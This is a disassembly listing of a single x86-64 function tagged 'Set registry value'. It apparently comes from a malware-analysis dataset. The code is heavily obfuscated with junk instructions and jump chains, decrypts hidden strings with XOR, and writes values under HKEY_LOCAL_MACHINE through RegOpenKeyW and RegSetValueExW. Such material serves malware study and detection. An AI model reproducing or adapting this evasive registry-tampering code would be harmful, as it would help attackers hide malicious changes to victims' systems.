Function at 0x14040314a
Capabilities:
Set registry value

Disassembly:
push r15
cmp rdx, r14
sub ah, dh
push r14
bt rax, rdi
add ax, r11w
rcl r14b, 0xa8
push r13
bsf rax, r12
push r12
shr r15d, cl
rcl r14b, cl
push rsi
rol r12b, 0xd5
bsf r15w, r9w
push rdi
rol r15d, cl
push rbp
sal r12w, cl
stc
rcr dil, cl
push rbx
sub rsp, 0x2f8
movabs rax, 0xe009ec3224c8fd6e
mov qword [rsp + 0x2e0], rax
movsx rsi, r11w
movzx r12w, dl
bswap bx
mov qword [rsp + 0x40], rax
movsxd rsi, esi
movabs rax, 0x2204bcb80ebea5a3
mov qword [rsp + 0x2d8], rax
not bh
bswap rbp
mov qword [rsp + 0x48], rax
xchg al, r12b
movabs rax, 0xfbc9f38de01f2fa2
movzx r15, di
movsx r15w, r11b
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x50], rax
xchg r13b, bpl
movabs rax, 0x17a75ff95317a686
mov r14b, 0x7d
mov r13w, r14w
mov qword [rsp + 0x2c8], rax
setle bpl
mov r15d, 0x6ff74e06
movsx si, dil
mov qword [rsp + 0x58], rax
movzx esi, r9w
cwde
movabs rax, 0xfd99d5578f55fa6f
movzx rdi, r13w
not bp
mov qword [rsp + 0x2c0], rax
bswap r12
movsxd r13, r8d
movzx ebx, cx
mov qword [rsp + 0x60], rax
movsx esi, bp
movabs rax, 0x4b3964fdcd447246
movsx rdi, di
mov rbx, r12
mov qword [rsp + 0x2b8], rax
movzx r14w, r12b
mov qword [rsp + 0x68], rax
bswap si
movabs rax, 0xee88324679eb2227
setge r13b
movzx ebx, r13w
not r14b
mov qword [rsp + 0x2b0], rax
mov rbx, 0x67cb7555
sete r15b
bswap r14w
mov qword [rsp + 0x70], rax
movzx r15d, dx
cdqe
movabs rax, 0x6d7346ad6d4ffefa
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x78], rax
setp bl
movsxd r13, ecx
mov r15w, r14w
movabs rax, 0xd093683aef376a76
cmovne r13, r8
bswap ebp
mov qword [rsp + 0x2a0], rax
xchg bl, dil
movzx rdi, ax
mov di, 0x9a1
mov qword [rsp + 0x80], rax
movabs rax, 0xa80f93e9d32b8c6f
mov qword [rsp + 0x298], rax
mov qword [rsp + 0x88], rax
cbw
not bp
movabs rax, 0x33e730243394033e
movsx r13d, r8w
mov dil, 0x77
movsx r15w, bl
mov qword [rsp + 0x290], rax
mov bh, dl
mov qword [rsp + 0x90], rax
mov r12d, 0x1ffa0738
jmp 0x14040334b
movabs rax, 0xe7e3977e114e6703
movsx r15w, bpl
mov qword [rsp + 0x288], rax
not r14w
movzx r13, r8w
movsx rdi, r11w
mov qword [rsp + 0x98], rax
movsxd rdi, eax
movzx r15d, bx
movabs rax, 0xb0b65ec58a603c8
movzx r15w, dil
mov qword [rsp + 0x280], rax
movsx r12w, spl
bswap edi
not r15w
mov qword [rsp + 0xa0], rax
movzx ebx, r11w
jmp 0x1404033b0
movabs rax, 0x6708be65ca8156d7
xchg dil, dil
not di
mov qword [rsp + 0x278], rax
cmovno di, ax
mov qword [rsp + 0xa8], rax
cbw
movsx bp, dl
cdqe
movabs rax, 0x46a7044da5524090
mov qword [rsp + 0x270], rax
cmovo r13w, r12w
jmp 0x1404033fd
mov qword [rsp + 0xb0], rax
movzx bx, spl
cwde
bswap bx
movabs rax, 0x4b8cb541ca050f46
mov qword [rsp + 0x268], rax
movsxd rsi, esi
mov qword [rsp + 0xb8], rax
jmp 0x140403430
movabs rax, 0xe627ab41184af921
movzx rdi, bp
mov qword [rsp + 0x260], rax
movzx rsi, bp
movzx esi, r15w
mov qword [rsp + 0xc0], rax
movabs rax, 0x34c77b6e31b9a
movzx rbx, r10w
xchg bx, di
mov qword [rsp + 0x258], rax
bswap r14
not r12w
mov qword [rsp + 0xc8], rax
cmovs r12, rdx
movabs rax, 0xd8cf4ec0049852bb
mov r14, rbp
not si
mov r14b, 0x96
mov qword [rsp + 0xd0], rax
cmovge rbp, r11
movsx di, r14b
mov r15w, sp
movabs rax, 0xa5eac9844f8ea419
movzx r15, bp
movsxd r14, r14d
not r13b
mov qword [rsp + 0xd8], rax
movzx r14w, r14b
lahf
mov qword [rsp + 0x30], 0
movzx r15, bp
mov dword [rsp + 0x3c], 0
setae r14b
cmovo rax, r11
movabs rbp, 0x2eb490333e21dae3
mov qword [rsp + 0xe0], rbp
cbw
movabs r14, 0x28903e48668cb956
mov qword [rsp + 0xe8], r14
mov di, 0x6370
movabs r15, 0xe05dec612491fd3d
movzx di, bl
not ax
jmp 0x140403529
mov qword [rsp + 0x100], r15
movsx si, spl
setnp ah
movabs r12, 0x2247bce40ef3a5e6
cwde
movzx r13d, cx
mov r13b, r15b
mov qword [rsp + 0x108], r12
cwde
movsx esi, r14w
mov eax, ecx
movabs rsi, 0xfbacf3ffe06d2fd7
xchg bl, bh
movsx rax, r15w
cdqe
mov qword [rsp + 0x110], rsi
not rax
cwde
movabs rdi, 0x17c85fba5363a6e8
sete al
mov qword [rsp + 0x118], rdi
mov ebx, 0xf136e2c
movsx r13w, dil
movzx bx, dil
movabs rax, 0xfdf6d5258f21fa01
setge bh
jmp 0x1404035ae
mov qword [rsp + 0x120], rax
mov rbx, rax
xchg r13b, r13b
movabs rax, 0x4b4d6498cd17722a
movsxd r13, eax
jmp 0x1404035ce
mov qword [rsp + 0x2f0], rax
movzx r13, r9w
bswap r13
mov qword [rsp + 0x128], rax
movsx r13w, r9b
movabs rax, 0xeefa322379b8227b
mov qword [rsp + 0x250], rax
setb r13b
xchg r13d, r13d
mov qword [rsp + 0x130], rax
movzx r13, r13w
movsx r13d, r15w
movabs rax, 0x6d1646ce6d26fe8c
mov r13d, 0x2f65eb2
movzx r13d, si
mov qword [rsp + 0x248], rax
movzx r13d, di
mov qword [rsp + 0x138], rax
cbw
movabs rax, 0xd0fb6869ef6b6a05
not r13b
movsx r13, r11w
movsxd r13, ebx
mov qword [rsp + 0x240], rax
mov r13w, dx
jmp 0x140403662
mov qword [rsp + 0x140], rax
movabs rax, 0xa86b938cd3598c0e
movsx r13d, cx
movzx r13w, r14b
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x148], rax
lahf
cwde
movabs rax, 0x3382304733f7037f
movsx r13, r12w
cmovbe r13, r12
mov qword [rsp + 0x230], rax
movzx r13, bp
xchg r13b, r13b
movsx r13w, r12b
mov qword [rsp + 0x150], rax
setnp al
movabs rax, 0xe7b39722113d6770
movsx r13, r13w
mov r13w, 0x20af
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x158], rax
movabs rax, 0xb66658d58d403a9
bswap r13
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x160], rax
lahf
movabs rax, 0x677abe00caf556b2
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x168], rax
jmp 0x140403723
movabs rax, 0x46ce040ba50e40e3
movsx r13, r10w
mov r13d, ebx
movsxd r13, r14d
mov qword [rsp + 0x210], rax
movsx r13, r14w
movzx r13d, di
xchg r13b, r13b
mov qword [rsp + 0x170], rax
mov r13b, r13b
mov r13d, 0x49367773
movabs rax, 0x4bedb536ca600f34
not r13w
mov qword [rsp + 0x208], rax
jmp 0x140403776
mov qword [rsp + 0x178], rax
cmovs rax, rsp
movabs rax, 0xe648ab111826f94d
movzx r13d, bp
movsx r13w, dil
not r13w
mov qword [rsp + 0x200], rax
bswap r13d
movsx r13d, di
cmovge r13w, bx
mov qword [rsp + 0x180], rax
mov al, sil
mov rax, 0xa51729e
movabs rax, 0x7a4c14b68a1bf6
jmp 0x1404037d9
mov qword [rsp + 0x1f8], rax
not r13b
movzx r13, r11w
movsxd r13, r15d
mov qword [rsp + 0x188], rax
movabs rax, 0xd8a24eaf04dc52e7
bswap r13w
movsxd r13, r10d
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x190], rax
movabs rax, 0xa5bac9ea4fe7a478
movzx r13d, ax
movsx r13, r13w
mov qword [rsp + 0x1e8], rax
seto r13b
movsx r13, r12w
mov qword [rsp + 0x198], rax
movabs rax, 0x2edd90553e4eda91
bswap r13d
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1a0], rax
movzx eax, r14w
nop
movabs rax, 0x28903e4866e9b93a
movsx r13w, bpl
movzx r13, sp
mov qword [rsp + 0x1d8], rax
mov r13w, 0x352
mov qword [rsp + 0x1a8], rax
lea r13, [rsp + 0x100]
mov al, 0
lahf
jmp 0x140403899
mov rax, r13
jmp 0x1404038a1
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1404038ab
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1404038b8
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1404038c2
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1404038d0
movaps xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1404038f1
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1404038fe
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x14040390f
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x14040391c
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x140403935
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x140403946
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x14040395f
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x14040396c
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x140403980
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x14040398d
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1404039a1
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1404039ae
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
movsxd rcx, edi
lea rdx, [rsp + 0x40]
mov cl, r11b
lea r8, [rsp + 0x30]
jmp 0x1404039db
mov rcx, 0xffffffff80000002
jmp 0x1404039e7
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x1404039fc
mov qword [rsp + 0x1d0], rax
jmp 0x140403a09
mov qword [rsp + 0x40], rax
mov ah, bl
movsx ax, r15b
movabs rax, 0x222ebca20e96a58a
jmp 0x140403a24
mov qword [rsp + 0x1c8], rax
jmp 0x140403a31
mov qword [rsp + 0x48], rax
movzx rax, cx
cwde
movsx eax, r12w
movabs rax, 0xfbcdf388e0082fa5
mov qword [rsp + 0x2e8], rax
jmp 0x140403a56
mov qword [rsp + 0x50], rax
bswap ax
movabs rax, 0x17c85fba530fa684
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x100], r15
cwde
jmp 0x140403a83
mov qword [rsp + 0x108], r12
bswap ax
mov qword [rsp + 0x110], rsi
bswap ax
xchg al, ah
movsxd rax, ecx
mov qword [rsp + 0x118], rdi
movsx eax, cx
cdqe
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x140403ab8
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x140403ac5
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
rcr al, 0x55
mov rcx, qword [rsp + 0x30]
ror edx, cl
lea rax, [rsp + 0x3c]
stc
bswap r9w
ror dx, cl
mov qword [rsp + 0x20], rax
cmp r14w, si
shr dh, 0xbd
mov dword [rsp + 0x28], 4
mov r9b, 2
lea rdx, [rsp + 0x40]
xor r8d, r8d
mov r9b, r14b
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x40], rax
lahf
sets ah
cmovb eax, r11d
mov rax, qword [rsp + 0x2d8]
jmp 0x140403b45
mov qword [rsp + 0x48], rax
not al
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
cwde
mov rax, qword [rsp + 0x2c8]
jmp 0x140403b67
mov qword [rsp + 0x58], rax
cdqe
cwde
movsx ax, r11b
mov rax, qword [rsp + 0x2c0]
jmp 0x140403b81
mov qword [rsp + 0x60], rax
not rax
mov al, 0x42
cdqe
mov rax, qword [rsp + 0x2b8]
jmp 0x140403b9a
mov qword [rsp + 0x68], rax
nop
mov rax, qword [rsp + 0x2b0]
jmp 0x140403bae
mov qword [rsp + 0x70], rax
lahf
mov rax, qword [rsp + 0x2a8]
jmp 0x140403bc1
mov qword [rsp + 0x78], rax
cwde
movzx rax, di
mov rax, qword [rsp + 0x2a0]
jmp 0x140403bd8
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x298]
jmp 0x140403bed
mov qword [rsp + 0x88], rax
movzx ax, r12b
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x90], rax
setle al
cbw
xchg al, ah
mov rax, qword [rsp + 0x288]
jmp 0x140403c1e
mov qword [rsp + 0x98], rax
movzx eax, bp
xchg al, al
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xa0], rax
movsxd rax, eax
mov rax, qword [rsp + 0x278]
jmp 0x140403c4b
mov qword [rsp + 0xa8], rax
not ah
mov rax, qword [rsp + 0x270]
jmp 0x140403c62
mov qword [rsp + 0xb0], rax
movzx eax, r11w
movsxd rax, r13d
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0xb8], rax
mov rax, 0x6b9e5bbf
sete al
mov al, r8b
mov rax, qword [rsp + 0x260]
jmp 0x140403c9b
mov qword [rsp + 0xc0], rax
movsx ax, r10b
mov rax, qword [rsp + 0x258]
jmp 0x140403cb5
mov qword [rsp + 0xc8], rax
movzx eax, si
nop
movabs rax, 0xd8c04eda048c52bb
jmp 0x140403cd0
mov qword [rsp + 0xd0], rax
movsx ax, r13b
cwde
cdqe
movabs rax, 0xa5eac9894f8ea414
jmp 0x140403cef
mov qword [rsp + 0xd8], rax
cdqe
movsx eax, si
cbw
mov qword [rsp + 0xe0], rbp
setg al
mov ah, 4
movsx rax, bx
mov qword [rsp + 0xe8], r14
bswap r14w
lahf
movzx eax, di
mov qword [rsp + 0x100], r15
mov bpl, r15b
mov qword [rsp + 0x108], r12
xchg bp, ax
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
movzx ebp, r15w
mov rbp, rbx
movzx r14d, si
cdqe
movzx r14w, r9b
mov qword [rsp + 0x120], rbx
bswap r14
movsxd rax, r8d
movsx rax, sp
mov r14, qword [rsp + 0x2f0]
movzx rax, r14w
mov qword [rsp + 0x128], r14
movsx ax, r15b
mov rax, qword [rsp + 0x250]
jmp 0x140403d8f
mov qword [rsp + 0x130], rax
cmova ax, cx
cwde
movsxd rax, r9d
mov rax, qword [rsp + 0x248]
jmp 0x140403dac
mov qword [rsp + 0x138], rax
cdqe
bswap ax
movzx rax, dx
mov rax, qword [rsp + 0x240]
jmp 0x140403dca
mov qword [rsp + 0x140], rax
cwde
xchg ah, al
movzx eax, di
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x148], rax
movzx eax, r8w
not al
jmp 0x140403df3
mov rax, qword [rsp + 0x230]
jmp 0x140403e00
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x228]
jmp 0x140403e15
mov qword [rsp + 0x158], rax
movzx ax, r10b
mov rax, qword [rsp + 0x220]
jmp 0x140403e2f
mov qword [rsp + 0x160], rax
nop
bswap eax
jmp 0x140403e40
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x168], rax
movsx eax, sp
cbw
mov ax, 0x116f
mov rax, qword [rsp + 0x210]
jmp 0x140403e66
mov qword [rsp + 0x170], rax
cbw
lahf
bswap ax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x200]
jmp 0x140403e91
mov qword [rsp + 0x180], rax
movsx ax, r9b
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x188], rax
movsxd rax, r12d
cbw
mov rax, qword [rsp + 0x1f0]
jmp 0x140403ec0
mov qword [rsp + 0x190], rax
movzx rax, bx
lahf
nop
mov rax, qword [rsp + 0x1e8]
jmp 0x140403edc
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1a0], rax
movsx rax, dx
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1a8], rax
jmp 0x140403f11
mov rax, r13
jmp 0x140403f19
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x140403f23
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x140403f3a
movaps xmmword [rsp + 0x40], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x140403f4d
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x140403f64
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x140403f71
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x140403f8a
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x140403f9b
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x140403fa8
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x140403fb9
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x140403fc6
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x140403fd7
movaps xmm0, xmmword [rsp + 0xc0]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x140403ff3
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x140404000
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x140404014
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x140404021
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
cqo
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
movzx r8d, r14w
lea r8, [rsp + 0x30]
jmp 0x14040404c
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x40], rax
movsx rax, bx
mov bl, 0x75
mov rax, qword [rsp + 0x1c8]
movzx ebx, r9w
cmovb bx, r14w
movsxd rbx, r15d
mov qword [rsp + 0x48], rax
movzx ebx, r11w
lahf
setnp bl
mov rbx, qword [rsp + 0x2e8]
movsxd rax, edx
mov qword [rsp + 0x50], rbx
mov ah, 0xcd
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x58], rax
movsx eax, r14w
mov qword [rsp + 0x100], r15
cwde
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
movzx ax, r12b
movsx eax, r15w
movsx ax, r13b
mov qword [rsp + 0x118], rdi
cmovle ax, ax
cdqe
mov rax, r13
jmp 0x1404040e7
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1404040f1
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x140404103
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
ror ah, 0x24
dec rdx
ror dl, cl
mov rcx, qword [rsp + 0x30]
mov r9b, 9
add edx, r14d
shld ax, dx, 0xdf
lea rax, [rsp + 0x3c]
cmove r9, r14
movzx r9, dx
test bp, r14w
mov qword [rsp + 0x20], rax
adc rdx, rsp
mov dword [rsp + 0x28], 4
bswap r9d
lea rdx, [rsp + 0x40]
xor r9d, 0x720c0155
cmp bh, 0xcd
sub r8d, r8d
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x2d8]
jmp 0x14040418b
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x2d0]
jmp 0x14040419d
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x58], rax
bswap ax
movzx rax, si
mov al, sil
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
jmp 0x1404041d3
mov qword [rsp + 0x68], rax
cmovnp rax, r15
not ax
mov rax, qword [rsp + 0x2b0]
jmp 0x1404041ec
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x78], rax
cwde
mov rax, qword [rsp + 0x2a0]
jmp 0x14040420c
mov qword [rsp + 0x80], rax
sete al
mov rax, qword [rsp + 0x298]
jmp 0x140404224
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x290]
jmp 0x140404239
mov qword [rsp + 0x90], rax
movzx rax, ax
movzx ax, r10b
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x98], rax
cmova rax, rsp
bswap eax
mov ax, sp
mov rax, qword [rsp + 0x280]
jmp 0x140404270
mov qword [rsp + 0xa0], rax
nop
movzx eax, r15w
movsx eax, cx
mov rax, qword [rsp + 0x278]
jmp 0x14040428d
mov qword [rsp + 0xa8], rax
bswap ax
nop
movzx rax, r14w
mov rax, qword [rsp + 0x270]
jmp 0x1404042ab
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x268]
jmp 0x1404042c0
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0xc0], rax
bswap eax
not eax
mov rax, qword [rsp + 0x258]
jmp 0x1404042e9
mov qword [rsp + 0xc8], rax
mov eax, 0x52be0424
movabs rax, 0xd8c34edb048f52bb
jmp 0x140404305
mov qword [rsp + 0xd0], rax
movsx rax, r13w
mov eax, r8d
movabs rax, 0xa5c8c98b4f83a416
jmp 0x140404323
mov qword [rsp + 0xd8], rax
lahf
movzx rax, r8w
movabs rax, 0x2eb290273e1edaf5
jmp 0x14040433f
mov qword [rsp + 0xe0], rax
xchg ah, al
movabs rax, 0x28f53e246680b95c
jmp 0x140404358
mov qword [rsp + 0xe8], rax
nop
movzx eax, si
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], rbp
mov eax, 0x47c93dd0
movzx ax, r14b
xchg ah, al
mov qword [rsp + 0x128], r14
movzx rax, ax
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x248]
jmp 0x1404043c2
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x140], rax
not rax
movzx eax, r10w
mov rax, qword [rsp + 0x238]
jmp 0x1404043ee
mov qword [rsp + 0x148], rax
xchg ah, al
mov rax, qword [rsp + 0x230]
jmp 0x140404405
mov qword [rsp + 0x150], rax
movsx ax, r11b
cbw
mov al, r15b
mov rax, qword [rsp + 0x228]
jmp 0x140404424
mov qword [rsp + 0x158], rax
movsxd rax, edi
movzx rax, sp
movsx ax, r12b
mov rax, qword [rsp + 0x220]
jmp 0x140404445
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x218]
jmp 0x14040445a
mov qword [rsp + 0x168], rax
not al
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x170], rax
movzx ax, bl
mov rax, qword [rsp + 0x208]
jmp 0x140404485
mov qword [rsp + 0x178], rax
movsxd rax, esp
mov rax, qword [rsp + 0x200]
jmp 0x14040449d
mov qword [rsp + 0x180], rax
movsx eax, sp
mov rax, qword [rsp + 0x1f8]
jmp 0x1404044b5
mov qword [rsp + 0x188], rax
not ah
bswap eax
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x1e8]
jmp 0x1404044de
mov qword [rsp + 0x198], rax
cmovb rax, rsi
movsx rax, ax
mov rax, qword [rsp + 0x1e0]
jmp 0x1404044fb
mov qword [rsp + 0x1a0], rax
cwde
cdqe
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1a8], rax
movabs rax, 0xa1410f538a85c08b
mov qword [rsp + 0xf0], rax
jmp 0x14040452d
mov qword [rsp + 0x1b0], rax
cmovge eax, edx
movabs rax, 0x6078a8fe5539451c
jmp 0x140404547
mov qword [rsp + 0xf8], rax
jmp 0x140404554
mov qword [rsp + 0x1b8], rax
movzx ax, r13b
jmp 0x140404569
mov rax, r13
jmp 0x140404571
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x140404580
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x14040458a
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x140404597
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1404045a1
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1404045b8
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1404045e2
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1404045f3
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x140404600
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x140404619
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x14040462a